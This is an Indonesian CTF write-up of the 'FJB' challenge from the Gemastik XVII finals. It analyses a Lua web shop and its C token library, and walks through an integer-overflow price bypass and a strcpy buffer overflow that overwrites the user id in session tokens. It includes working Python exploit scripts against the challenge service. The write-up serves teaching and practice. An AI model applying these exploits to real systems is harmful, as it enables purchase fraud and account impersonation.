Try   HackMD

FJB

Author : circleous

fjb merupakan salah satu soal final gemastik xvii, sayangnya saya tidak sempat mengerjakan sewaktu final karena fokus dengan soal lain (meskipun akhirnya soal lain pun tidak solve :face_palm: ), service soal dan platform ctf final gemastik pun sudah mati tapi source code soal bisa di akses disini. Saya menulis writeup ini berdasarkan apa yang tertulis pada source codenya sehingga memungkinkan ada yang berbeda dengan service ketika perlombaan seperti beda penempatan flag dan lain sebagainya.

Challenge Description

Struktur folder :

C:.
├───frontend
│   ├───public
│   └───src
│       ├───assets
│       ├───components
│       │   └───ui
│       ├───hooks
│       ├───lib
│       ├───pages
│       └───routes
├───kauth
└───src
    ├───handler
    └───lib

Setelah menjalankan docker yang diberikan kita akan mendapatkan tampilan web sebagai berikut :

image

namun saya memiliki sedikit permasalahan ketika menjalankannya, yaitu pada fungsi register ketika klik tombol register tidak ada request yang dibuat oleh frontend

image

jika dilihat pada bagian frontend dari page login dan register, saya hanya menemukan fungsi untuk request ke endpoint /api/login dan tidak ada untuk /api/register

const { isLoading, mutate } = useMutation({ mutationKey: ["login"], mutationFn: (data) => httpClient.post("/api/login", { json: data }).json(), onSettled(data, err) { if (err || data?.error) { queryClient.setQueryData(["user"], null); return; } queryClient.setQueryData(["user"], data); navigate({ to: "/" }); }, retry: false, });

setelah saya telusuri beberapa kode front end juga nampaknya ada beberapa fungsi yang memang belum dibuat seperti fungsi checkout pada page cart.

<span className="inline-block w-full"> <Button variant="outline" disabled className="cursor-not-allowed w-full"> {/* TODO: create checkout */} <span>Proceed to Payment</span> </Button> </span>

mengetahui hal tersebut kemungkinan besar yang perlu kita lakukan adalah melakukan testing pada bagian backend dari program.

backend program ditulis dengan bahasa pemrograman lua, dan terdapat library atau module tambahan berupa kauth yang ditulis dengan bahasa c. Kita tahu bahwa lua memang menyediakan C api yang dapat dilihat pada https://www.lua.org/pil/24.html.

Untuk bagian database program menggunakan sqlite dengan table dan schema sebagai berikut :

sqlite> .schema CREATE TABLE users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, wallet INTEGER DEFAULT 1 ); CREATE TABLE sqlite_sequence(name,seq); CREATE TABLE catalog ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, item_name TEXT NOT NULL, description TEXT, value TEXT, price INTEGER NOT NULL, created_at TEXT NOT NULL, FOREIGN KEY (user_id) REFERENCES users(id) ); CREATE TABLE cart ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER NOT NULL, item_id INTEGER NOT NULL, FOREIGN KEY (user_id) REFERENCES users(id), FOREIGN KEY (item_id) REFERENCES catalog(id) );

keseluruhan endpoint dari api bisa dilihat sebagai berikut :

function handle(r) if r.uri == "/api/login" and r.method == "POST" then return login.handler(r) elseif r.uri == "/api/register" and r.method == "POST" then return register.handler(r) elseif r.uri == "/api/user" and r.method == "GET" then return middleware.auth(r, user.handler) elseif r.uri == "/api/catalog" and r.method == "GET" then return catalog.get(r) elseif r.uri == "/api/catalog/me" and r.method == "GET" then return middleware.auth(r, catalog.get_me) elseif r.uri == "/api/catalog" and r.method == "POST" then return middleware.auth(r, catalog.post) elseif r.uri == "/api/cart" and r.method == "GET" then return middleware.auth(r, cart.get) elseif r.uri == "/api/cart" and r.method == "POST" then return middleware.auth(r, cart.post) elseif r.uri == "/api/cart" and r.method == "DELETE" then return middleware.auth(r, cart.delete) elseif r.uri == "/api/checkout" and r.method == "POST" then return middleware.auth(r, checkout.post) else r.status = 404 r.content_type = "application/json" r:write(cjson.encode({ error = "Not found" })) return apache2.OK end end

Setup Flag

Setelah saya konfimasi dengan author ternyata flagnya tersimpan dalam database, tapi tidak diberi tahu pasti dibagian mana.

jika kita lihat alur dari program tersebut user dapat menambahkan item ke katalog dan user lain dapat melakukan checkout dengan item yang dipilih dari katalog, hal yang unik adalah ada attribut dalam tabel catalog yang tidak ditunjukan pada publik yaitu value.

function _M.get_all_items(uid) local conn = sqlite3.open("/app/data/fjb.db") local query = "SELECT * FROM catalog" if uid then query = query .. " WHERE user_id = ?" end local stmt = conn:prepare(query) if uid then stmt:bind_values(uid) end local items = {} local result = stmt:step() while result == sqlite3.ROW do local id = stmt:get_value(0) local user_id = stmt:get_value(1) local item_name = stmt:get_value(2) local description = stmt:get_value(3) local value = stmt:get_value(4) local price = stmt:get_value(5) local date_posted = stmt:get_value(6) table.insert(items, { id = id, name = item_name, description = description, owner = user_id, value = uid == user_id and value or nil, price = price, date_posted = date_posted, }) result = stmt:step() end conn:close() return items end

sehingga kita akan melakukan setup sebagai berikut :

# make admin user and post a product res = s.post(URL + "/api/register", json={"username": "admin", "password": "admin"}) res = s.post(URL + "/api/login", json={"username": "admin", "password": "admin"}) res= s.post(URL + "/api/catalog", json={"name" : "test", "description" : "desc idk", "valuable" : "FLAG{FLAG_FOR_TEST}", "price" : 100})

image

Discovering a web bug

Jika kita membaca code pada bagian checkout

local cjson = require "cjson" local db = require "database" local util = require "lib.utils" local _M = {} function _M.post(r) local cost = 0x0 r.content_type = "application/json" local items = db.get_items_from_cart(tonumber(r.notes.kauth_id), true) for i = 1, #items do cost = cost + items[i].price end local wallet, err = db.get_wallet(tonumber(r.notes.kauth_id)) if err then r.status = 500 r:write(cjson.encode({ error = "Internal error: " .. err, })) return apache2.OK end if wallet < cost then r.status = 401 r:write(cjson.encode({ error = "Unathorized: not enough balance", })) return apache2.OK end r:write(cjson.encode({ items = items, })) return apache2.OK end return _M

tidak adanya fungsi pengurangan dan penambahan wallet sehingga jika memang wallet mencukupi kita dapat membeli barang secara terus menerus.

Pada bagian register akun juga tidak ada inisialisasi nilai wallet, tetapi jika kita lihat pada database sql nya wallet di set dengan nilai 1.

local stmt = conn:prepare("INSERT INTO users (username, password) VALUES (?, ?)") stmt:bind_values(username, hashed_password) local result = stmt:step()

nah menariknya kita dapat melakukan integer overflow di lua

IMG

dan dalam pembuatan item baru di catalog tidak terdapat pengecekan maximum price

if util.isempty(spec.price) or tonumber(spec.price) <= 0 then r.status = 400 r:write(cjson.encode({ error = "Bad Request: missing price" })) return apache2.OK end

sehingga kita dapat bypass check pada bagian ini ketika checkout.

if wallet < cost then r.status = 401 r:write(cjson.encode({ error = "Unathorized: not enough balance", })) return apache2.OK end

poc :

# trigger integer overflow res = s.post(URL + "/api/register", json={"username": "yono", "password": "test"}) res = s.post(URL + "/api/login", json={"username": "yono", "password": "test"}) res= s.post(URL + "/api/catalog", json={"name" : "int overflow", "description" : "enak bg", "valuable" : "yes yes", "price" : "0x7fffffffffffffff"}) print(res.text) # test user buy a product res = s.post(URL + "/api/register", json={"username": "yqroo", "password": "test"}) res = s.post(URL + "/api/login", json={"username": "yqroo", "password": "test"}) res = s.post(URL + "/api/cart", json={"item": 1}) res = s.post(URL + "/api/cart", json={"item": 2}) res = s.get(URL + "/api/cart") print(res.text) res = s.get(URL + "/api/user") res = s.post(URL + "/api/checkout") for i in res.json()['items']: print(i)

output

Discovering a binary bug

Bug kedua terletak pada implementasi fungsi encode dari library kauth

ketika user berhasil login program akan memberikan session yang digenerate dengan library tersebut.

local ok, token = pcall(function () return kauth.encode(secret.key, user) end) if not ok then r.status = 500 r:write(cjson.encode({ error = "Internal error: failed to generate token" })) return apache2.OK end r:setcookie({ key = "session", value = token, expires = os.time() + 1800, })

jika kita lihat implementasi dari fungsi encode di library tersebut kita dapat melihat sebuah bug yang sangat obvious.

static int encode(lua_State *L) { int typ; struct kauth_user claim; unsigned char h[crypto_auth_hmacsha256_BYTES]; unsigned char token[kauth_token_BYTES]; memset(h, 0, crypto_auth_hmacsha256_BYTES); memset(token, 0, kauth_token_BYTES); memset(&claim, 0, sizeof(struct kauth_user)); size_t keylen = 0; const char *key = luaL_checklstring(L, 1, &keylen); if (keylen != crypto_auth_hmacsha256_KEYBYTES) { lua_pushstring(L, "invalid key len"); return lua_error(L); } luaL_checktype(L, 2, LUA_TTABLE); if ((typ = lua_getfield(L, 2, "id")) != LUA_TNUMBER) { lua_pop(L, 1); lua_pushstring(L, "invalid type id (number expected)"); return lua_error(L); } lua_Integer id = lua_tointeger(L, -1); lua_pop(L, 1); claim.id = id; if ((typ = lua_getfield(L, 2, "name")) != LUA_TSTRING) { lua_pop(L, 1); lua_pushstring(L, "invalid type name (string expected)"); return lua_error(L); } const char *name = lua_tostring(L, -1); lua_pop(L, 1); strcpy((char *)claim.name, name); claim.exp = time(0) + 1800; // 30 min crypto_auth_hmacsha256(h, (const unsigned char *)&claim, sizeof(struct kauth_user), (const unsigned char *)key); sodium_bin2base64((char *)token, kauth_token_claim_BYTES, (const unsigned char *)&claim, sizeof(struct kauth_user), sodium_base64_VARIANT_URLSAFE_NO_PADDING); sodium_bin2base64((char *)(token + kauth_token_claim_BYTES), kauth_token_sign_BYTES, h, crypto_auth_hmacsha256_BYTES, sodium_base64_VARIANT_URLSAFE_NO_PADDING); token[kauth_token_claim_BYTES - 1] = '.'; lua_pushlstring(L, (char *)token, kauth_token_BYTES); return 1; }

yap benar terdapat vulnerability buffer overflow pada fungsi encode dikarenakan penggunaan fungsi berbahaya yaitu strcpy.

jika dilihat implementasi dari kauth_user maka kita dapat melihat bahwa id diletakan persis dibawah name sehingga dapat kita overwrite

struct kauth_user { const char name[128]; unsigned long long id; unsigned long long exp; };

dan di dalam fungsi encode inisialisasinya dimulai dari id, name, baru exp, sehingga kita dapat overwrite id namun ketika kita overwrite exp program akan mengoverwrite balik.

Ketika kita melakukan register, username akan disimpan dalam database, database users sendiri menggunakan tipe data text pada bagian username sehingga tidak memungkinkan untuk menyimpan byte CMIIW, tetapi dalam code berikut string akan berubah menjadi byte.

const char *name = lua_tostring(L, -1);
lua_pop(L, 1);
strcpy((char *)claim.name, name);

sehingga di dalam databasenya akan tersimpan sebagai aa..\x01 sebagai string tetapi ketika masuk ke c \x01 akan terescape menjadi byte.

poc :

# trigger buffer overflow res = s.post(URL + "/api/register", json={"username": "a"*128+'\x01', "password": "naon"}) res = s.post(URL + "/api/login", json={"username": "a"*128+'\x01', "password": "naon"}) res = s.get(URL + "/api/catalog/me") for i in res.json()['items']: print(i)

out

note tambahan

dalam fungsi decode strcpy digantikan dengan strncpy yang mana seharusnya ini adalah fungsi yang aman.

strncpy((char *)name, claim.name, sizeof(name));

tetapi jika dilihat dari size buffer dari name terdapat overflow satu byte.

const char name[129];

sehingga seharusnya strncpy akan mengcopy id juga, tetapi cukup tidak berguna karena untuk apa leak id user sendiri, selain itu

lua_pushstring(L, name); lua_setfield(L, -2, "name"); lua_pushinteger(L, claim.id); lua_setfield(L, -2, "id");
r.notes.kauth_name = res.name r.notes.kauth_id = res.id

username dan id akan diakses berdasarkan fieldnya.

Full poc

import requests as req URL = "http://localhost:17000" s = req.Session() ## SERVER # make admin user and post a product res = s.post(URL + "/api/register", json={"username": "admin", "password": "admin"}) res = s.post(URL + "/api/login", json={"username": "admin", "password": "admin"}) res= s.post(URL + "/api/catalog", json={"name" : "test", "description" : "desc idk", "valuable" : "FLAG{FLAG_FOR_TEST}", "price" : 100}) print(res.text) ## PLAYER # trigger integer overflow res = s.post(URL + "/api/register", json={"username": "yono", "password": "test"}) res = s.post(URL + "/api/login", json={"username": "yono", "password": "test"}) res= s.post(URL + "/api/catalog", json={"name" : "int overflow", "description" : "enak bg", "valuable" : "yes yes", "price" : "0x7fffffffffffffff"}) print(res.text) # test user buy a product res = s.post(URL + "/api/register", json={"username": "yqroo", "password": "test"}) res = s.post(URL + "/api/login", json={"username": "yqroo", "password": "test"}) res = s.post(URL + "/api/cart", json={"item": 1}) res = s.post(URL + "/api/cart", json={"item": 2}) res = s.get(URL + "/api/cart") print(res.text) res = s.get(URL + "/api/user") res = s.post(URL + "/api/checkout") for i in res.json()['items']: print(i) # trigger buffer overflow res = s.post(URL + "/api/register", json={"username": "a"*128+'\x01', "password": "naon"}) res = s.post(URL + "/api/login", json={"username": "a"*128+'\x01', "password": "naon"}) res = s.get(URL + "/api/catalog/me") for i in res.json()['items']: print(i)